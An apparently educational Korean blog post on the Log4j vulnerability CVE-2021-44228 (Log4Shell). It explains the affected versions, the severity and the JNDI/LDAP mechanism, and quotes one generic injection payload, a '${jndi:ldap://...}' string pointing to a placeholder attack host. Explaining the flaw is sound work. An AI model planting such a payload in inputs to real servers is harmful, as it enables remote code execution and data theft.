CVE-2021-44228 이란?

CVE-2021-44228은 Log4j 취약점으로 가장 많이 알려져 있으며 Log4j 취약점으로 가장 큰 타격을 전달한 취약점이고, 전 세계적으로 인기있는 logging library로 Minecraft, Apple iCloud, Apache 등등 현재 수많은 소프트웨어에서 사용되고 있다. Log4j 에서 원격 코드 실행(RCE)이 가능한 JNDI Injection 취약점이 발견되었다.

취약점 이름은 Log4j(Log4shell)이며, 취약점 이름 대로 log4j를 사용하는 소프트웨어 대부분을 공격 할 수 있는 높은 파급력과 다른 취약점과 달리 공격 페이로드가 간단하다는 점에서 취약점의 위험성을 높이 평가하고 있다.

취약점의 위험성을 평가하는 지표인 CVSS 점수의 최고점인 10.0이 해당 취약점에 부여되었으며, 해당 취약점의 공격 대상이 log4j를 사용하는 소프트웨어이기 때문에 대부분 logging을 필요로 하는 서버를 대상으로 공격을 진행한다. 서버가 공격 대상이기 때문에 해당 취약점 공격으로 인해, 관리자 로그인 없이도 공격자가 비교적 간단한 쿼리문으로 내부 자료를 탈취할 수 있다.

CVE-2021-44228 취약점의 버전은 Log4j 2.0-beta9 버전 ~ 2.14.1 버전이다.

공격 페이로드를 간단하게 확인해 보면 아래와 같다.

${jndi:ldap://[attack site]/malicious_class_file}

Log4j 취약점을 이용해서 공격 할 때 jndi 와 ldap 를 사용해서 공격을 진행하게 됩니다.

위의 공격 페이로드가 무슨 역할을 하는지 공부하기 이전에 공격에 사용되는 중요 키워드인 Log4j, JNDI, LDAP가 무엇인지 먼저 알아보자.

Log4j 란?

이번에 알아볼 취약점에서 제일 중요한 Log4j를 한번 알아보자. (공격 페이로드를 공부하는 것도 중요하지만 Log4j 취약점을 완벽하게 이해하기 위해서는 Log4j에 대해서 알아볼 필요가 있다.)

Log4j는 Log for Java의 줄임말로 로그문의 출력을 다양한 대상으로 할 수 있도록 도와주는 자바의 도구이다.

프로그램을 작성하는 도중에 로그를 남기기 위해서 사용되는 자바기반 로깅 유틸리티 이자 디버그용 도구로 주로 사용된다.

URL : https://logging.apache.org/log4j/1.2/

Log4j Feature